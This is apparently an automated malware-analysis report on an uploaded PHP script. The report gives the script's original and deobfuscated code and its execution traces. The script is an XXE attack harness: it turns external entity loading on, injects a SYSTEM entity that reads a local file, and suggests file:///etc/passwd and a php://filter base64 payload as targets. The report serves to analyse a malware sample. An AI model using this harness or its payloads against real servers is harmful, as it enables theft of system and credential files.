PHP Malware Analysis

1.php, xmlparser.php

md5: b9b1ac6f9a59aa5603383d49542c73a8

Jump to:

Screenshot


Attributes

Files

URLs
  • file:///tmp/xxe-php-targetBQDzkD (Traces)
  • file:///tmp/xxe-php-targetV938cm (Traces)
  • http://nl1.php.net/manual/en/function.libxml-disable-entity-loader.php (Deobfuscated, Original)
  • http://nl1.php.net/manual/en/function.libxml-use-internal-errors.php (Deobfuscated, Original)
  • http://nl1.php.net/manual/en/function.xml-parser-create.php (Deobfuscated, Original)
  • http://nl1.php.net/manual/en/function.xml-parser-free.php (Deobfuscated, Original)
  • http://nl1.php.net/manual/en/function.xml-set-external-entity-ref-handler.php (Deobfuscated, Original)
  • http://nl1.php.net/manual/en/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-unknown-unknown-unknown-descriptiot (Deobfuscated, Original)
  • http://php.net/manual/en/example.xml-external-entity.php (Deobfuscated, Original)


Deobfuscated PHP code

#!/usr/bin/env php
<?php 
// Please use chmod +x on me ;-)
// Internal test: ./xxe-php
// Own test: ./xxe-php /path/to/attack.xml
// A stream prefix we will both use for the default test and as an example
// when a test fails.
// You can use php://filter to apply filters before the file contents are
// returned.
// This can be useful to ensure all data can be recovered properly.
// E.g.:    php://filter/read=convert.base64-encode/resource=/etc/passwd
// @see http://nl1.php.net/manual/en/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-unknown-unknown-unknown-descriptiot
$streamPrefix = 'file://';
// The first argument, our current script, is of no use to us.
$arguments = array_slice($argv, 1);
$xmlFile = current($arguments);
// Create an insecure target.
if (empty($xmlFile)) {
    $target = tempnam(sys_get_temp_dir(), 'xxe-php-target');
    // Put some data in the target.
    file_put_contents($target, 'Sensitive data');
    $streamPath = "{$streamPrefix}{$target}";
    $xml = '<!DOCTYPE scan [<!ENTITY test SYSTEM "' . $streamPath . '">]><scan>&test;</scan>';
} else {
    $xml = file_get_contents($xmlFile);
}
// Make sure we can fetch external entities.
// @see http://nl1.php.net/manual/en/function.libxml-disable-entity-loader.php
libxml_disable_entity_loader(false);
// Catch any and all libxml errors
// @see http://nl1.php.net/manual/en/function.libxml-use-internal-errors.php
libxml_use_internal_errors(false);
// Create a new xml parser.
// @see http://nl1.php.net/manual/en/function.xml-parser-create.php
$parser = xml_parser_create('UTF-8');
// A list of gathered external entities and their contents.
$externalEntities = array();
/**
 * A custom external entity handler.
 *
 * @param resource $parser
 * @param string $openEntityNames
 * @param string $base
 * @param string $systemId
 * @param string $publicId
 * @return integer
 * @see http://nl1.php.net/manual/en/function.xml-set-external-entity-ref-handler.php
 */
function externalEntityRefHandler($parser, $openEntityNames, $base, $systemId, $publicId)
{
    global $externalEntities;
    if (!empty($systemId)) {
        $externalEntities[$openEntityNames] = @file_get_contents($systemId);
    }
    return (int) (!empty($publicId) || !empty($externalEntities[$openEntityNames]));
}
// Set a custom entity handler.
// @see http://php.net/manual/en/example.xml-external-entity.php
// @see http://nl1.php.net/manual/en/function.xml-set-external-entity-ref-handler.php
xml_set_external_entity_ref_handler($parser, "externalEntityRefHandler");
// Parse the XML.
if (xml_parse($parser, $xml, true) === 1) {
    echo "These are the results of your XML attack:\n\n";
    var_dump($externalEntities);
} else {
    echo "Sadly, the XXE attack did not work. Try again ;-)\n";
    echo "Here is an example of a SYSTEM entity:\n";
    echo "{$streamPrefix}/etc/passwd" . PHP_EOL;
}
// Free the parser.
// @see http://nl1.php.net/manual/en/function.xml-parser-free.php
xml_parser_free($parser);
// Clean up temporary files.
if (isset($target)) {
    unlink($target);
}

Execution traces

data/traces/b9b1ac6f9a59aa5603383d49542c73a8_trace-1676238447.3877.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:47:53.285489]
1	0	1	0.000140	393464
1	3	0	0.000257	406480	{main}	1		/var/www/html/uploads/1.php	0	0
1		A						/var/www/html/uploads/1.php	14	$streamPrefix = 'file://'
2	4	0	0.000306	406480	array_slice	0		/var/www/html/uploads/1.php	17	2	NULL	1
2	4	1	0.000328	406544
2	4	R			NULL
1		A						/var/www/html/uploads/1.php	17	$arguments = NULL
2	5	0	0.000352	406480	current	0		/var/www/html/uploads/1.php	18	1	NULL
2	5	1	0.000369	406512
2	5	R			NULL
1		A						/var/www/html/uploads/1.php	18	$xmlFile = NULL
2	6	0	0.000393	406480	sys_get_temp_dir	0		/var/www/html/uploads/1.php	23	0
2	6	1	0.000406	406520
2	6	R			'/tmp'
2	7	0	0.000419	406520	tempnam	0		/var/www/html/uploads/1.php	24	2	'/tmp'	'xxe-php-target'
2	7	1	0.000459	406640
2	7	R			'/tmp/xxe-php-targetV938cm'
1		A						/var/www/html/uploads/1.php	24	$target = '/tmp/xxe-php-targetV938cm'
2	8	0	0.000488	406544	file_put_contents	0		/var/www/html/uploads/1.php	28	2	'/tmp/xxe-php-targetV938cm'	'Sensitive data'
2	8	1	0.000576	406728
2	8	R			14
1		A						/var/www/html/uploads/1.php	30	$streamPath = 'file:///tmp/xxe-php-targetV938cm'
1		A						/var/www/html/uploads/1.php	35	$xml = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///tmp/xxe-php-targetV938cm">]><scan>&test;</scan>'
2	9	0	0.000624	406848	libxml_disable_entity_loader	0		/var/www/html/uploads/1.php	42	1	FALSE
2	9	1	0.000681	406880
2	9	R			FALSE
2	10	0	0.000695	406848	libxml_use_internal_errors	0		/var/www/html/uploads/1.php	46	1	FALSE
2	10	1	0.000709	406888
2	10	R			FALSE
1	3	1	0.000727	407200
1	11	0	0.000735	407232	Error->__toString	0		Unknown	0	0
2	12	0	0.000747	407312	Error->getTraceAsString	0		Unknown	0	0
2	12	1	0.000759	407568
2	12	R			'#0 {main}'
1	11	1	0.000775	407864
1	11	R			'Error: Call to undefined function xml_parser_create() in /var/www/html/uploads/1.php:50\nStack trace:\n#0 {main}'
			0.000823	328592
TRACE END   [2023-02-12 19:47:53.286199]

data/traces/b9b1ac6f9a59aa5603383d49542c73a8_trace-1676238527.4741.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:49:13.372039]
1	0	1	0.000362	393528
1	3	0	0.000519	406552	{main}	1		/var/www/html/uploads/xmlparser.php	0	0
1		A						/var/www/html/uploads/xmlparser.php	14	$streamPrefix = 'file://'
2	4	0	0.000593	406552	array_slice	0		/var/www/html/uploads/xmlparser.php	17	2	NULL	1
2	4	1	0.000616	406616
2	4	R			NULL
1		A						/var/www/html/uploads/xmlparser.php	17	$arguments = NULL
2	5	0	0.000642	406552	current	0		/var/www/html/uploads/xmlparser.php	18	1	NULL
2	5	1	0.000661	406584
2	5	R			NULL
1		A						/var/www/html/uploads/xmlparser.php	18	$xmlFile = NULL
2	6	0	0.000686	406552	sys_get_temp_dir	0		/var/www/html/uploads/xmlparser.php	23	0
2	6	1	0.000699	406592
2	6	R			'/tmp'
2	7	0	0.000713	406592	tempnam	0		/var/www/html/uploads/xmlparser.php	24	2	'/tmp'	'xxe-php-target'
2	7	1	0.000758	406712
2	7	R			'/tmp/xxe-php-targetBQDzkD'
1		A						/var/www/html/uploads/xmlparser.php	24	$target = '/tmp/xxe-php-targetBQDzkD'
2	8	0	0.000787	406616	file_put_contents	0		/var/www/html/uploads/xmlparser.php	28	2	'/tmp/xxe-php-targetBQDzkD'	'Sensitive data'
2	8	1	0.000889	406800
2	8	R			14
1		A						/var/www/html/uploads/xmlparser.php	30	$streamPath = 'file:///tmp/xxe-php-targetBQDzkD'
1		A						/var/www/html/uploads/xmlparser.php	35	$xml = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///tmp/xxe-php-targetBQDzkD">]><scan>&test;</scan>'
2	9	0	0.000936	406920	libxml_disable_entity_loader	0		/var/www/html/uploads/xmlparser.php	42	1	FALSE
2	9	1	0.000950	406952
2	9	R			FALSE
2	10	0	0.000964	406920	libxml_use_internal_errors	0		/var/www/html/uploads/xmlparser.php	46	1	FALSE
2	10	1	0.000978	406960
2	10	R			FALSE
1	3	1	0.001012	407280
1	11	0	0.001020	407312	Error->__toString	0		Unknown	0	0
2	12	0	0.001033	407392	Error->getTraceAsString	0		Unknown	0	0
2	12	1	0.001045	407648
2	12	R			'#0 {main}'
1	11	1	0.001061	407944
1	11	R			'Error: Call to undefined function xml_parser_create() in /var/www/html/uploads/xmlparser.php:50\nStack trace:\n#0 {main}'
			0.001109	328640
TRACE END   [2023-02-12 19:49:13.372844]


Generated HTML code

<html><head></head><body>#!/usr/bin/env php
</body></html>

Original PHP code

#!/usr/bin/env php
<?php
// Please use chmod +x on me ;-)
// Internal test: ./xxe-php
// Own test: ./xxe-php /path/to/attack.xml

// A stream prefix we will both use for the default test and as an example
// when a test fails.
// You can use php://filter to apply filters before the file contents are
// returned.
// This can be useful to ensure all data can be recovered properly.
// E.g.:    php://filter/read=convert.base64-encode/resource=/etc/passwd
// @see http://nl1.php.net/manual/en/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-unknown-unknown-unknown-descriptiot
$streamPrefix = 'file://';

// The first argument, our current script, is of no use to us.
$arguments = array_slice($argv, 1);
$xmlFile = current($arguments);

// Create an insecure target.
if (empty($xmlFile)) {
    $target = tempnam(
        sys_get_temp_dir(),
        'xxe-php-target'
    );

    // Put some data in the target.
    file_put_contents($target, 'Sensitive data');

    $streamPath = "{$streamPrefix}{$target}";

    $xml = '<!DOCTYPE scan ['
        . '<!ENTITY test SYSTEM "'
        . $streamPath
        . '">]><scan>&test;</scan>';
} else {
    $xml = file_get_contents($xmlFile);
}

// Make sure we can fetch external entities.
// @see http://nl1.php.net/manual/en/function.libxml-disable-entity-loader.php
libxml_disable_entity_loader(false);

// Catch any and all libxml errors
// @see http://nl1.php.net/manual/en/function.libxml-use-internal-errors.php
libxml_use_internal_errors(false);

// Create a new xml parser.
// @see http://nl1.php.net/manual/en/function.xml-parser-create.php
$parser = xml_parser_create('UTF-8');

// A list of gathered external entities and their contents.
$externalEntities = array();

/**
 * A custom external entity handler.
 *
 * @param resource $parser
 * @param string $openEntityNames
 * @param string $base
 * @param string $systemId
 * @param string $publicId
 * @return integer
 * @see http://nl1.php.net/manual/en/function.xml-set-external-entity-ref-handler.php
 */
function externalEntityRefHandler(
    $parser,
    $openEntityNames,
    $base,
    $systemId,
    $publicId
) {
    global $externalEntities;

    if (!empty($systemId)) {
        $externalEntities[$openEntityNames] = @file_get_contents($systemId);
    }

    return (integer) (
        !empty($publicId)
        || !empty($externalEntities[$openEntityNames])
    );
}

// Set a custom entity handler.
// @see http://php.net/manual/en/example.xml-external-entity.php
// @see http://nl1.php.net/manual/en/function.xml-set-external-entity-ref-handler.php
xml_set_external_entity_ref_handler($parser, "externalEntityRefHandler");

// Parse the XML.
if (xml_parse($parser, $xml, true) === 1) {
    // Success.
    echo 'These are the results of your XML attack:' . PHP_EOL . PHP_EOL;

    var_dump($externalEntities);
} else {
    echo 'Sadly, the XXE attack did not work. Try again ;-)' . PHP_EOL;
    echo 'Here is an example of a SYSTEM entity:' . PHP_EOL;
    echo "{$streamPrefix}/etc/passwd" . PHP_EOL;
}

// Free the parser.
// @see http://nl1.php.net/manual/en/function.xml-parser-free.php
xml_parser_free($parser);

// Clean up temporary files.
if (isset($target)) {
    unlink($target);
}